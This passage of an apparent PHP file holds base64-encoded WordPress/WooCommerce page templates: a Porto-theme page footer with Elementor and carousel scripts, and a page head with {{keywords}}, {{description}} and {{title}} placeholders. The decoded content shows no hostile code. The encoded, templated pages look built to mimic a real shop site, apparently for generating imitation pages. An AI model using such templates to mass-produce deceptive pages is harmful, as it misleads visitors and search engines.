J3BvcnRvLXRoZW1lLWpzJz48L3NjcmlwdD4NCjxzY3JpcHQgYXN5bmM9ImFzeW5jIiBzcmM9Jy93cC1jb250ZW50L3RoZW1lcy9wb3J0by9qcy90aGVtZS1hc3luYy5qcz92ZXI9Ni43LjInIGlkPSdwb3J0by10aGVtZS1hc3luYy1qcyc+PC9zY3JpcHQ+DQo8c2NyaXB0IHNyYz0nL3dwLWNvbnRlbnQvdGhlbWVzL3BvcnRvL2pzL3dvb2NvbW1lcmNlLXRoZW1lLmpzP3Zlcj02LjcuMicgaWQ9J3BvcnRvLXdvb2NvbW1lcmNlLXRoZW1lLWpzJz48L3NjcmlwdD4NCjxzY3JpcHQgc3JjPScvd3AtY29udGVudC9wbHVnaW5zL2VsZW1lbnRvci9hc3NldHMvanMvd2VicGFjay5ydW50aW1lLm1pbi5qcz92ZXI9My4xMC4yJw0KICAgICAgICBpZD0nZWxlbWVudG9yLXdlYnBhY2stcnVudGltZS1qcyc+PC9zY3JpcHQ+DQo8c2NyaXB0IHNyYz0nL3dwLWNvbnRlbnQvcGx1Z2lucy9lbGVtZW50b3IvYXNzZXRzL2pzL2Zyb250ZW5kLW1vZHVsZXMubWluLmpzP3Zlcj0zLjEwLjInDQogICAgICAgIGlkPSdlbGVtZW50b3ItZnJvbnRlbmQtbW9kdWxlcy1qcyc+PC9zY3JpcHQ+DQo8c2NyaXB0IHNyYz0nL3dwLWNvbnRlbnQvcGx1Z2lucy9lbGVtZW50b3IvYXNzZXRzL2xpYi93YXlwb2ludHMvd2F5cG9pbnRzLm1pbi5qcz92ZXI9NC4wLjInDQogICAgICAgIGlkPSdlbGVtZW50b3Itd2F5cG9pbnRzLWpzJz48L3NjcmlwdD4NCjxzY3JpcHQgc3JjPScvd3AtaW5jbHVkZXMvanMvanF1ZXJ5L3VpL2NvcmUubWluLmpzP3Zlcj0xLjEzLjInIGlkPSdqcXVlcnktdWktY29yZS1qcyc+PC9zY3JpcHQ+DQo8c2NyaXB0IGlkPSdlbGVtZW50b3ItZnJvbnRlbmQtanMtYmVmb3JlJz4NCiAgICB2YXIgZWxlbWVudG9yRnJvbnRlbmRDb25maWcgPSB7DQogICAgICAgICJlbnZpcm9ubWVudE1vZGUiOiB7ImVkaXQiOiBmYWxzZSwgIndwUHJldmlldyI6IGZhbHNlLCAiaXNTY3JpcHREZWJ1ZyI6IGZhbHNlfSwNCiAgICAgICAgImkxOG4iOiB7DQogICAgICAgICAgICAic2hhcmVPbkZhY2Vib29rIjogIlNoYXJlIG9uIEZhY2Vib29rIiwNCiAgICAgICAgICAgICJzaGFyZU9uVHdpdHRlciI6ICJTaGFyZSBvbiBUd2l0dGVyIiwNCiAgICAgICAgICAgICJwaW5JdCI6ICJQaW4gaXQiLA0KICAgICAgICAgICAgImRvd25sb2FkIjogIkRvd25sb2FkIiwNCiAgICAgICAgICAgICJkb3dubG9hZEltYWdlIjogIkRvd25sb2FkIGltYWdlIiwNCiAgICAgICAgICAgICJmdWxsc2NyZWVuIjogIkZ1bGxzY3JlZW4iLA0KICAgICAgICAgICAgInpvb20iOiAiWm9vbSIsDQogICAgICAgICAgICAic2hhcmUiOiAiU2hhcmUiLA0KICAgICAgICAgICAgInBsYXlWaWRlbyI6ICJQbGF5IFZpZGVvIiwNCiAgICAgICAgICAgICJwcmV2aW91cyI6ICJQcmV2aW91cyIsDQogICAgICAgICAgICAibmV4dCI6ICJOZXh0IiwNCiAgICAgICAgICAgICJjbG9zZSI6ICJDbG9zZSINCiAgICAgICAgfSwNCiAgICAgICAgImlzX3J0bCI6IGZhbHNlLA0KICAgICAgICAiYnJlYWtwb2ludHMiOiB7InhzIjogMCwgInNtIjogNDgwLCAibWQiOiA3NjgsICJsZyI6IDEwMjUsICJ4bCI6IDE0NDAsICJ4eGwiOiAxNjAwfSwNCiAgICAgICAgInJlc3BvbnNpdmUiOiB7DQogICAgICAgICAgICAiYnJlYWtwb2ludHMiOiB7DQogICAgICAgICAgICAgICAgIm1vYmlsZSI6IHsNCiAgICAgICAgICAgICAgICAgICAgImxhYmVsIjogIk1vYmlsZSIsDQogICAgICAgICAgICAgICAgICAgICJ2YWx1ZSI6IDc2NywNCiAgICAgICAgICAgICAgICAgICAgImRlZmF1bHRfdmFsdWUiOiA3NjcsDQogICAgICAgICAgICAgICAgICAgICJkaXJlY3Rpb24iOiAibWF4IiwNCiAgICAgICAgICAgICAgICAgICAgImlzX2VuYWJsZWQiOiB0cnVlDQogICAgICAgICAgICAgICAgfSwNCiAgICAgICAgICAgICAgICAibW9iaWxlX2V4dHJhIjogew0KICAgICAgICAgICAgICAgICAgICAibGFiZWwiOiAiTW9iaWxlIEV4dHJhIiwNCiAgICAgICAgICAgICAgICAgICAgInZhbHVlIjogODgwLA0KICAgICAgICAgICAgICAgICAgICAiZGVmYXVsdF92YWx1ZSI6IDg4MCwNCiAgICAgICAgICAgICAgICAgICAgImRpcmVjdGlvbiI6ICJtYXgiLA0KICAgICAgICAgICAgICAgICAgICAiaXNfZW5hYmxlZCI6IGZhbHNlDQogICAgICAgICAgICAgICAgfSwNCiAgICAgICAgICAgICAgICAidGFibGV0Ijogew0KICAgICAgICAgICAgICAgICAgICAibGFiZWwiOiAiVGFibGV0IiwNCiAgICAgICAgICAgICAgICAgICAgInZhbHVlIjogOTkxLA0KICAgICAgICAgICAgICAgICAgICAiZGVmYXVsdF92YWx1ZSI6IDEwMjQsDQogICAgICAgICAgICAgICAgICAgICJkaXJlY3Rpb24iOiAibWF4IiwNCiAgICAgICAgICAgICAgICAgICAgImlzX2VuYWJsZWQiOiB0cnVlDQogICAgICAgICAgICAgICAgfSwNCiAgICAgICAgICAgICAgICAidGFibGV0X2V4dHJhIjogew0KICAgICAgICAgICAgICAgICAgICAibGFiZWwiOiAiVGFibGV0IEV4dHJhIiwNCiAgICAgICAgICAgICAgICAgICAgInZhbHVlIjogMTIwMCwNCiAgICAgICAgICAgICAgICAgICAgImRlZmF1bHRfdmFsdWUiOiAxMjAwLA0KICAgICAgICAgICAgICAgICAgICAiZGlyZWN0aW9uIjogIm1heCIsDQogICAgICAgICAgICAgICAgICAgICJpc19lbmFibGVkIjogZmFsc2UNCiAgICAgICAgICAgICAgICB9LA0KICAgICAgICAgICAgICAgICJsYXB0b3AiOiB7DQogICAgICAgICAgICAgICAgICAgICJsYWJlbCI6ICJMYXB0b3AiLA0KICAgICAgICAgICAgICAgICAgICAidmFsdWUiOiAxMzY2LA0KICAgICAgICAgICAgICAgICAgICAiZGVmYXVsdF92YWx1ZSI6IDEzNjYsDQogICAgICAgICAgICAgICAgICAgICJkaXJlY3Rpb24iOiAibWF4IiwNCiAgICAgICAgICAgICAgICAgICAgImlzX2VuYWJsZWQiOiBmYWxzZQ0KICAgICAgICAgICAgICAgIH0sDQogICAgICAgICAgICAgICAgIndpZGVzY3JlZW4iOiB7DQogICAgICAgICAgICAgICAgICAgICJsYWJlbCI6ICJXaWRlc2NyZWVuIiwNCiAgICAgICAgICAgICAgICAgICAgInZhbHVlIjogMjQwMCwNCiAgICAgICAgICAgICAgICAgICAgImRlZmF1bHRfdmFsdWUiOiAyNDAwLA0KICAgICAgICAgICAgICAgICAgICAiZGlyZWN0aW9uIjogIm1pbiIsDQogICAgICAgICAgICAgICAgICAgICJpc19lbmFibGVkIjogZmFsc2UNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgIH0sDQogICAgICAgICJ2ZXJzaW9uIjogIjMuMTAuMiIsDQogICAgICAgICJpc19zdGF0aWMiOiBmYWxzZSwNCiAgICAgICAgImV4cGVyaW1lbnRhbEZlYXR1cmVzIjogew0KICAgICAgICAgICAgImVfZG9tX29wdGltaXphdGlvbiI6IHRydWUsDQogICAgICAgICAgICAiZV9vcHRpbWl6ZWRfYXNzZXRzX2xvYWRpbmciOiB0cnVlLA0KICAgICAgICAgICAgImVfb3B0aW1pemVkX2Nzc19sb2FkaW5nIjogdHJ1ZSwNCiAgICAgICAgICAgICJhMTF5X2ltcHJvdmVtZW50cyI6IHRydWUsDQogICAgICAgICAgICAiYWRkaXRpb25hbF9jdXN0b21fYnJlYWtwb2ludHMiOiB0cnVlLA0KICAgICAgICAgICAgImVfaGlkZGVuX3dvcmRwcmVzc193aWRnZXRzIjogdHJ1ZSwNCiAgICAgICAgICAgICJsYW5kaW5nLXBhZ2VzIjogdHJ1ZSwNCiAgICAgICAgICAgICJraXQtZWxlbWVudHMtZGVmYXVsdHMiOiB0cnVlDQogICAgICAgIH0sDQogICAgICAgICJ1cmxzIjogeyJhc3NldHMiOiAiXC93cC1jb250ZW50XC9wbHVnaW5zXC9lbGVtZW50b3JcL2Fzc2V0c1wvIn0sDQogICAgICAgICJzZXR0aW5ncyI6IHsicGFnZSI6IFtdLCAiZWRpdG9yUHJlZmVyZW5jZXMiOiBbXX0sDQogICAgICAgICJraXQiOiB7DQogICAgICAgICAgICAidmlld3BvcnRfdGFibGV0IjogIjk5MSIsDQogICAgICAgICAgICAiYWN0aXZlX2JyZWFrcG9pbnRzIjogWyJ2aWV3cG9ydF9tb2JpbGUiLCAidmlld3BvcnRfdGFibGV0Il0sDQogICAgICAgICAgICAiZ2xvYmFsX2ltYWdlX2xpZ2h0Ym94IjogInllcyIsDQogICAgICAgICAgICAibGlnaHRib3hfZW5hYmxlX2NvdW50ZXIiOiAieWVzIiwNCiAgICAgICAgICAgICJsaWdodGJveF9lbmFibGVfZnVsbHNjcmVlbiI6ICJ5ZXMiLA0KICAgICAgICAgICAgImxpZ2h0Ym94X2VuYWJsZV96b29tIjogInllcyIsDQogICAgICAgICAgICAibGlnaHRib3hfZW5hYmxlX3NoYXJlIjogInllcyIsDQogICAgICAgICAgICAibGlnaHRib3hfdGl0bGVfc3JjIjogInRpdGxlIiwNCiAgICAgICAgICAgICJsaWdodGJveF9kZXNjcmlwdGlvbl9zcmMiOiAiZGVzY3JpcHRpb24iDQogICAgICAgIH0sDQogICAgICAgICJwb3N0IjogeyJpZCI6IDE0MywgInRpdGxlIjogInRlc3QlMjB0aXRsZTEiLCAiZXhjZXJwdCI6ICIiLCAiZmVhdHVyZWRJbWFnZSI6IGZhbHNlfQ0KICAgIH07DQo8L3NjcmlwdD4NCjxzY3JpcHQgc3JjPScvd3AtY29udGVudC9wbHVnaW5zL2VsZW1lbnRvci9hc3NldHMvanMvZnJvbnRlbmQubWluLmpzP3Zlcj0zLjEwLjInIGlkPSdlbGVtZW50b3ItZnJvbnRlbmQtanMnPjwvc2NyaXB0Pg0KPCEtLSBXb29Db21tZXJjZSBKYXZhU2NyaXB0IC0tPg0KPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KICAgIGpRdWVyeShmdW5jdGlvbiAoJCkgew0KICAgICAgICBqUXVlcnkoZG9jdW1lbnQuYm9keSkudHJpZ2dlcignd2NfZnJhZ21lbnRfcmVmcmVzaCcpDQogICAgfSk7DQo8L3NjcmlwdD4NCjxzY3JpcHQ+DQogICAgalF1ZXJ5KGRvY3VtZW50KS5yZWFkeShmdW5jdGlvbiAoJCkgew0KICAgICAgICAkKCcuaG9tZS1iYW5uZXIgLnBvcnRvLWNhcm91c2VsJykub24oJ2NoYW5nZS5vd2wuY2Fyb3VzZWwnLCBmdW5jdGlvbiAoZXZlbnQpIHsNCiAgICAgICAgICAgIHZhciBjdXJyZW50ID0gZXZlbnQuaXRlbS5pbmRleDsNCiAgICAgICAgICAgICQoZXZlbnQudGFyZ2V0KS5maW5kKCcub3dsLWl0ZW0nKS5lcShjdXJyZW50KS5maW5kKCdbZGF0YS1hcHBlYXItYW5pbWF0aW9uXScpLmVhY2goZnVuY3Rpb24gKCkgew0KICAgICAgICAgICAgICAgICQodGhpcykucmVtb3ZlQ2xhc3MoJCh0aGlzKS5kYXRhKCdhcHBlYXItYW5pbWF0aW9uJykpOw0KICAgICAgICAgICAgfSk7DQogICAgICAgIH0pLm9uKCdjaGFuZ2VkLm93bC5jYXJvdXNlbCcsIGZ1bmN0aW9uIChldmVudCkgew0KICAgICAgICAgICAgdmFyIGN1cnJlbnQgPSBldmVudC5pdGVtLmluZGV4Ow0KICAgICAgICAgICAgJChldmVudC50YXJnZXQpLmZpbmQoJy5vd2wtaXRlbScpLmVxKGN1cnJlbnQpLmZpbmQoJ1tkYXRhLWFwcGVhci1hbmltYXRpb25dJykuZWFjaChmdW5jdGlvbiAoKSB7DQogICAgICAgICAgICAgICAgJCh0aGlzKS5hZGRDbGFzcygkKHRoaXMpLmRhdGEoJ2FwcGVhci1hbmltYXRpb24nKSk7DQogICAgICAgICAgICB9KTsNCiAgICAgICAgfSk7DQogICAgfSk7ICAgICAgICAgICAgICAgIDwvc2NyaXB0Pg0KPC9ib2R5Pg0KPC9odG1sPg==', 'collection.html' => 'PCFET0NUWVBFIGh0bWw+DQo8aHRtbCBsYW5nPSJlbi1VUyIgcHJlZml4PSJvZzogaHR0cDovL29ncC5tZS9ucyMgZmI6IGh0dHA6Ly9vZ3AubWUvbnMvZmIjIj4NCjxoZWFkPg0KICAgIDxtZXRhIGh0dHAtZXF1aXY9IlgtVUEtQ29tcGF0aWJsZSIgY29udGVudD0iSUU9ZWRnZSIvPg0KICAgIDxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PVVURi04Ii8+DQogICAgPG1ldGEgbmFtZT0idmlld3BvcnQiIGNvbnRlbnQ9IndpZHRoPWRldmljZS13aWR0aCwgaW5pdGlhbC1zY2FsZT0xLCBtaW5pbXVtLXNjYWxlPTEiLz4NCiAgICB7e2tleXdvcmRzfX0NCiAgICB7e2Rlc2NyaXB0aW9ufX0NCiAgICB7e3RpdGxlfX0NCiAgICA8bWV0YSBuYW1lPSdyb2JvdHMnIGNvbnRlbnQ9J21heC1pbWFnZS1wcmV2aWV3OmxhcmdlJy8+DQogICAgPHN0eWxlPg0KICAgICAgICBpbWcud3Atc21pbGV5LA0KICAgICAgICBpbWcuZW1vamkgew0KICAgICAgICAgICAgZGlzcGxheTogaW5saW5lICFpbXBvcnRhbnQ7DQogICAgICAgICAgICBib3JkZXI6IG5vbmUgIWltcG9ydGFudDsNCiAgICAgICAgICAgIGJveC1zaGFkb3c6IG5vbmUgIWltcG9ydGFudDsNCiAgICAgICAgICAgIGhlaWdodDogMWVtICFpbXBvcnRhbnQ7DQogICAgICAgICAgICB3aWR0aDogMWVtICFpbXBvcnRhbnQ7DQogICAgICAgICAgICBtYXJnaW46IDAgMC4wN2VtICFpbXBvcnRhbnQ7DQogICAgICAgICAgICB2ZXJ0aWNhbC1hbGlnbjogLTAuMWVtICFpbXBvcnRhbnQ7DQogICAgICAgICAgICBiYWNrZ3JvdW5kOiBub25lICFpbXBvcnRhbnQ7DQogICAgICAgICAgICBwYWRkaW5nOiAwICFpbXBvcnRhbnQ7DQogICAgICAgIH0NCiAgICA8L3N0eWxlPg0KICAgIDxsaW5rIHJlbD0nc3R5bGVzaGVldCcgaWQ9J3dwLWJsb2NrLWxpYnJhcnktY3NzJyBocmVmPScvd3AtaW5jbHVkZXMvY3NzL2Rpc3QvYmxvY2stbGlicmFyeS9zdHlsZS5taW4uY3NzP3Zlcj02LjEuNScNCiAgICAgICAgICBtZWRpYT0nYWxsJy8+DQogICAgPHN0eWxlIGlkPSd3cC1ibG9jay1saWJyYXJ5LXRoZW1lLWlubGluZS1jc3MnPg0KICAgICAgICAud3AtYmxvY2stYXVkaW8gZmlnY2FwdGlvbiB7DQogICAgICAgICAgICBjb2xvcjogIzU1NTsNCiAgICAgICAgICAgIGZvbnQtc2l6ZTogMTNweDsNCiAgICAgICAgICAgIHRleHQtYWxpZ246IGNlbnRlcg0KICAgICAgICB9DQoNCiAgICAgICAgLmlzLWRhcmstdGhlbWUgLndwLWJsb2NrLWF1ZGlvIGZpZ2NhcHRpb24gew0KICAgICAgICAgICAgY29sb3I6IGhzbGEoMCwgMCUsIDEwMCUsIC42NSkNCiAgICAgICAgfQ0KDQogICAgICAgIC53cC1ibG9jay1hdWRpbyB7DQogICAgICAgICAgICBtYXJnaW46IDAgMCAxZW0NCiAgICAgICAgfQ0KDQogICAgICAgIC53cC1ibG9jay1jb2RlIHsNCiAgICAgICAgICAgIGJvcmRlcjogMXB4IHNvbGlkICNjY2M7DQogICAgICAgICAgICBib3JkZXItcmFkaXVzOiA0cHg7DQogICAgICAgICAgICBmb250LWZhbWlseTogTWVubG8sIENvbnNvbGFzLCBtb25hY28sIG1vbm9zcGFjZTsNCiAgICAgICAgICAgIHBhZGRpbmc6IC44ZW0gMWVtDQogICAgICAgIH0NCg0KICAgICAgICAud3AtYmxvY2stZW1iZWQgZmlnY2FwdGlvbiB7DQogICAgICAgICAgICBjb2xvcjogIzU1NTsNCiAgICAgICAgICAgIGZvbnQtc2l6ZTogMTNweDsNCiAgICAgICAgICAgIHRleHQtYWxpZ246IGNlbnRlcg0KICAgICAgICB9DQoNCiAgICAgICAgLmlzLWRhcmstdGhlbWUgLndwLWJsb2NrLWVtYmVkIGZpZ2NhcHRpb24gew0KICAgICAgICAgICAgY29sb3I6IGhzbGEoMCwgMCUsIDEwMCUsIC42NSkNCiAgICAgICAgfQ0KDQogICAgICAgIC53cC1ibG9jay1lbWJlZCB7DQogICAgICAgICAgICBtYXJnaW46IDAgMCAxZW0NCiAgICAgICAgfQ0KDQogICAgICAgIC5ibG9ja3MtZ2FsbGVyeS1jYXB0aW9uIHsNCiAgICAgICAgICAgIGNvbG9yOiAjNTU1Ow0KICAgICAgICAgICAgZm9udC1zaXplOiAxM3B4Ow0KICAgICAgICAgICAgdGV4dC1hbGlnbjogY2VudGVyDQogICAgICAgIH0NCg0KICAgICAgICAuaXMtZGFyay10aGVtZSAuYmxvY2tzLWdhbGxlcnktY2FwdGlvbiB7DQogICAgICAgICAgICBjb2xvcjogaHNsYSgwLCAwJSwgMTAwJSwgLjY1KQ0KICAgICAgICB9DQoNCiAgICAgICAgLndwLWJsb2NrLWltYWdlIGZpZ2NhcHRpb24gew0KICAgICAgICAgICAgY29sb3I6ICM1NTU7DQogICAgICAgICAgICBmb250LXNpemU6IDEzcHg7DQogICAgICAgICAgICB0ZXh0LWFsaWduOiBjZW50ZXINCiAgICAgICAgfQ0KDQogICAgICAgIC5pcy1kYXJrLXRoZW1lIC53cC1ibG9jay1pbWFnZSBmaWdjYXB0aW9uIHsNCiAgICAgICAgICAgIGNvbG9yOiBoc2xhKDAsIDAlLCAxMDAlLCAuNjUpDQogICAgICAgIH0NCg0KICAgICAgICAud3AtYmxvY2staW1hZ2Ugew0KICAgICAgICAgICAgbWFyZ2luOiAwIDAgMWVtDQogICAgICAgIH0NCg0KICAgICAgICAud3AtYmxvY2stcHVsbHF1b3RlIHsNCiAgICAgICAgICAgIGJvcmRlci10b3A6IDRweCBzb2xpZDsNCiAgICAgICAgICAgIGJvcmRlci1ib3R0b206IDRweCBzb2xpZDsNCiAgICAgICAgICAgIG1hcmdpbi1ib3R0b206IDEuNzVlbTsNCiAgICAgICAgICAgIGNvbG9yOiBjdXJyZW50Q29sb3INCiAgICAgICAgfQ0KDQogICAgICAgIC53cC1ibG9jay1wdWxscXVvdGVfX2NpdGF0aW9uLCAud3AtYmxvY2stcHVsbHF1b3RlIGNpdGUsIC53cC1ibG9jay1wdWxscXVvdGUgZm9vdGVyIHsNCiAgICAgICAgICAgIGNvbG9yOiBjdXJyZW50Q29sb3I7DQogICAgICAgICAgICB0ZXh0LXRyYW5zZm9ybTogdXBwZXJjYXNlOw0KICAgICAgICAgICAgZm9udC1zaXplOiAuODEyNWVtOw0KICAgICAgICAgICAgZm9udC1zdHlsZTogbm9ybWFsDQogICAgICAgIH0NCg0KICAgICAgICAud3AtYmxvY2stcXVvdGUgew0KICAgICAgICAgICAgYm9yZGVyLWxlZnQ6IC4yNWVtIHNvbGlkOw0KICAgICAgICAgICAgbWFyZ2luOiAwIDAgMS43NWVtOw0KICAgICAgICAgICAgcGFkZGluZy1sZWZ0OiAxZW0NCiAgICAgICAgfQ0KDQogICAgICAgIC53cC1ibG9jay1xdW90ZSBjaXRlLCAud3AtYmxvY2stcXVvdGUgZm9vdGVyIHsNCiAgICAgICAgICAgIGNvbG9yOiBjdXJyZW50Q29sb3I7DQogICAgICAgICAgICBmb250LXNpemU6IC44MTI1ZW07DQogICAgICAgICAgICBwb3NpdGlvbjogcmVsYXRpdmU7DQogICAgICAgICAgICBmb250LXN0eWxlOiBub3JtYWwNCiAgICAgICAgfQ0KDQogICAgICAgIC53cC1ibG9jay1xdW90ZS5oYXMtdGV4dC1hbGlnbi1yaWdodCB7DQogICAgICAgICAgICBib3JkZXItbGVmdDogbm9uZTsNCiAgICAgICAgICAgIGJvcmRlci1yaWdodDogLjI1ZW0gc29saWQ7DQogICAgICAgICAgICBwYWRkaW5nLWxlZnQ6IDA7DQogICAgICAgICAgICBwYWRkaW5nLXJpZ2h0OiAxZW0NCiAgICAgICAgfQ0KDQogICAgICAgIC53cC1ibG9jay1xdW90ZS5oYXMtdGV4dC1hbGlnbi1jZW50ZXIgew0KICAgICAgICAgICAgYm9yZGVyOiBub25lOw0KICAgICAgICAgICAgcGFkZGluZy1sZWZ0OiAwDQogICAgICAgIH0NCg0KICAgICAgICAud3AtYmxvY2stcXVvdGUuaXMtbGFyZ2UsIC53cC1ibG9jay1xdW90ZS5pcy1zdHlsZS1sYXJnZSwgLndwLWJsb2NrLXF1b3RlLmlzLXN0eWxlLXBsYWluIHsNCiAgICAgICAgICAgIGJvcmRlcjogbm9uZQ0KICAgICAgICB9DQoNCiAgICAgICAgLndwLWJsb2NrLXNlYXJjaCAud3AtYmxvY2stc2VhcmNoX19sYWJlbCB7DQogICAgICAgICAgICBmb250LXdlaWdodDogNzAwDQogICAgICAgIH0NCg0KICAgICAgICAud3AtYmxvY2stc2VhcmNoX19idXR0b24gew0KICAgICAgICAgICAgYm9yZGVyOiAxcHggc29saWQgI2NjYzsNCiAgICAgICAgICAgIHBhZGRpbmc6IC4zNzVlbSAuNjI1ZW0NCiAgICAgICAgfQ0KDQogICAgICAgIDp3aGVyZSgud3AtYmxvY2stZ3JvdXAuaGFzLWJhY2tncm91bmQpIHsNCiAgICAgICAgICAgIHBhZGRpbmc6IDEuMjVlbSAyLjM3NWVtDQogICAgICAgIH0NCg0KICAgICAgICAud3AtYmxvY2stc2VwYXJhdG9yLmhhcy1jc3Mtb3BhY2l0eSB7DQogICAgICAgICAgICBvcGFjaXR5OiAuNA0KICAgICAgICB9DQoNCiAgICAgICAgLndwLWJsb2NrLXNlcGFyYXRvciB7DQogICAgICAgICAgICBib3JkZXI6IG5vbmU7DQogICAgICAgICAgICBib3JkZXItYm90dG9tOiAycHggc29saWQ7DQogICAgICAgICAgICBtYXJnaW4tbGVmdDogYXV0bzsNCiAgICAgICAgICAgIG1hcmdpbi1yaWdodDogYXV0bw0KICAgICAgICB9DQoNCiAgICAgICAgLndwLWJsb2NrLXNlcGFyYXRvci5oYXMtYWxwaGEtY2hhbm5lbC1vcGFjaXR5IHsNCiAgICAgICAgICAgIG9wYWNpdHk6IDENCiAgICAgICAgfQ0KDQogICAgICAgIC53cC1ibG9jay1zZXBhcmF0b3I6bm90KC5pcy1zdHlsZS13aWRlKTpub3QoLmlzLXN0eWxlLWRvdHMpIHsNCiAgICAgICAgICAgIHdpZHRoOiAxMDBweA0KICAgICAgICB9DQoNCiAgICAgICAgLndwLWJsb2NrLXNlcGFyYXRvci5oYXMtYmFja2dyb3VuZDpub3QoLmlzLXN0eWxlLWRvdHMpIHsNCiAgICAgICAgICAgIGJvcmRlci1ib3R0b206IG5vbmU7DQogICAgICAgICAgICBoZWlnaHQ6IDFweA0KICAgICAgICB9DQoNCiAgICAgICAgLndwLWJsb2NrLXNlcGFyYXRvci5oYXMtYmFja2dyb3VuZDpub3QoLmlzLXN0eWxlLXdpZGUpOm5vdCguaXMtc3R5bGUtZG90cykgew0KICAgICAgICAgICAgaGVpZ2h0OiAycHgNCiAgICAgICAgfQ0KDQogICAgICAgIC53cC1ibG9jay10YWJsZSB7DQogICAgICAgICAgICBtYXJnaW46ICIwIDAgMWVtIDAiDQogICAgICAgIH0NCg0KICAgICAgICAud3AtYmxvY2stdGFibGUgdGhlYWQgew0KICAgICAgICAgICAgYm9yZGVyLWJvdHRvbTogM3B4IHNvbGlkDQogICAgICAgIH0NCg0KICAgICAgICAud3AtYmxvY2stdGFibGUgdGZvb3Qgew0KICAgICAgICAgICAgYm9yZGVyLXRvcDogM3B4IHNvbGlkDQogICAgICAgIH0NCg0KICAgICAgICAud3AtYmxvY2stdGFibGUgdGQsIC53cC1ibG9jay10YWJsZSB0aCB7DQogICAgICAgICAgICB3b3JkLWJyZWFrOiBub3JtYWwNCiAgICAgICAgfQ0KDQogICAgICAgIC53cC1ibG9jay10YWJsZSBmaWdjYXB0aW9uIHsNCiAgICAgICAgICAgIGNvbG9yOiAjNTU1Ow0KICAgICAgICAgICAgZm9udC1zaXplOiAxM3B4Ow0KICAgICAgICAgICAgdGV4dC1hbGlnbjogY2VudGVyDQogICAgICAgIH0NCg0KICAgICAgICAuaXMtZGFyay10aGVtZSAud3AtYmxvY2stdGFibGUgZmlnY2FwdGlvbiB7DQogICAgICAgICAgICBjb2xvcjogaHNsYSgwLCAwJSwgMTAwJSwgLjY1KQ0KICAgICAgICB9DQoNCiAgICAgICAgLndwLWJsb2NrLXZpZGVvIGZpZ2NhcHRpb24gew0KICAgICAgICAgICAgY29sb3I6ICM1NTU7DQogICAgICAgICAgICBmb250LXNpemU6IDEzcHg7DQogICAgICAgICAgICB0ZXh0LWFsaWduOiBjZW50ZXINCiAgICAgICAgfQ0KDQogICAgICAgIC5pcy1kYXJrLXRoZW1lIC53cC1ibG9jay12aWRlbyBmaWdjYXB0aW9uIHsNCiAgICAgICAgICAgIGNvbG9yOiBoc2xhKDAsIDAlLCAxMDAlLCAuNjUpDQogICAgICAgIH0NCg0KICAgICAgICAud3AtYmxvY2stdmlkZW8gew0KICAgICAgICAgICAgbWFyZ2luOiAwIDAgMWVtDQogICAgICAgIH0NCg0KICAgICAgICAud3AtYmxvY2stdGVtcGxhdGUtcGFydC5oYXMtYmFja2dyb3VuZCB7DQogICAgICAgICAgICBwYWRkaW5nOiAxLjI1ZW0gMi4zNzVlbTsNCiAgICAgICAgICAgIG1hcmdpbi10b3A6IDA7DQogICAgICAgICAgICBtYXJnaW4tYm90dG9tOiAwDQogICAgICAgIH0NCiAgICA8L3N0eWxlPg0KICAgIDxsaW5rIHJlbD0nc3R5bGVzaGVldCcgaWQ9J3djLWJsb2Nrcy12ZW5kb3JzLXN0eWxlLWNzcycNCiAgICAgICAgICBocmVmPScvd3AtY29udGVudC9wbHVnaW5zL3dvb2NvbW1lcmNlL3BhY2thZ2VzL3dvb2NvbW1lcmNlLWJsb2Nrcy9idWlsZC93Yy1ibG9ja3MtdmVuZG9ycy1zdHlsZS5jc3M/dmVyPTcuOC4zJw0KICAgICAgICAgIG1lZGlhPSdhbGwnLz4NCiAgICA8bGluayByZWw9J3N0eWxlc2hlZXQnIGlkPSd3Yy1ibG9ja3Mtc3R5bGUtY3NzJw0KICAgICAgICAgIGhyZWY9Jy93cC1jb250ZW50L3BsdWdpbnMvd29vY29tbWVyY2UvcGFja2FnZXMvd29vY29tbWVyY2UtYmxvY2tzL2J1aWxkL3djLWJsb2Nrcy1zdHlsZS5jc3M/dmVyPTcuOC4zJw0KICAgICAgICAgIG1lZGlhPSdhbGwnLz4NCiAgICA8bGluayByZWw9J3N0eWxlc2hlZXQnIGlkPSdjbGFzc2ljLXRoZW1lLXN0eWxlcy1jc3MnIGhyZWY9Jy93cC1pbmNsdWRlcy9jc3MvY2xhc3NpYy10aGVtZXMubWluLmNzcz92ZXI9MScNCiAgICAgICAgICBtZWRpYT0nYWxsJy8+DQogICAgPHN0eWxlIGlkPSdnbG9iYWwtc3R5bGVzLWlubGluZS1jc3MnPg0KICAgICAgICBib2R5IHsNCiAgICAgICAgICAgIC0td3AtLXByZXNldC0tY29sb3ItLWJsYWNrOiAjMDAwMDAwOw0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1jb2xvci0tY3lhbi1ibHVpc2gtZ3JheTogI2FiYjhjMzsNCiAgICAgICAgICAgIC0td3AtLXByZXNldC0tY29sb3ItLXdoaXRlOiAjZmZmZmZmOw0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1jb2xvci0tcGFsZS1waW5rOiAjZjc4ZGE3Ow0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1jb2xvci0tdml2aWQtcmVkOiAjY2YyZTJlOw0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1jb2xvci0tbHVtaW5vdXMtdml2aWQtb3JhbmdlOiAjZmY2OTAwOw0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1jb2xvci0tbHVtaW5vdXMtdml2aWQtYW1iZXI6ICNmY2I5MDA7DQogICAgICAgICAgICAtLXdwLS1wcmVzZXQtLWNvbG9yLS1saWdodC1ncmVlbi1jeWFuOiAjN2JkY2I1Ow0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1jb2xvci0tdml2aWQtZ3JlZW4tY3lhbjogIzAwZDA4NDsNCiAgICAgICAgICAgIC0td3AtLXByZXNldC0tY29sb3ItLXBhbGUtY3lhbi1ibHVlOiAjOGVkMWZjOw0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1jb2xvci0tdml2aWQtY3lhbi1ibHVlOiAjMDY5M2UzOw0KICAgICAgICAgICAgLS13cC0tcHJlc2V0LS1jb2xvci0tdml2aWQtcHVycGxlOiAjOWI1MWUwOw0KICAgICAgICAgICA